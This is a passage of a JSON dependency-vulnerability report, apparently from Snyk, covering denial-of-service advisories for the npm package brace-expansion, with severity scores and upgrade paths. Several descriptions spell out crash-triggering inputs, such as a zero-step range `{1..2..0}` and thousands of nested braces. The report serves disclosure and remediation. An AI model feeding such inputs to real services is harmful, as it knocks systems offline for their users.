"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
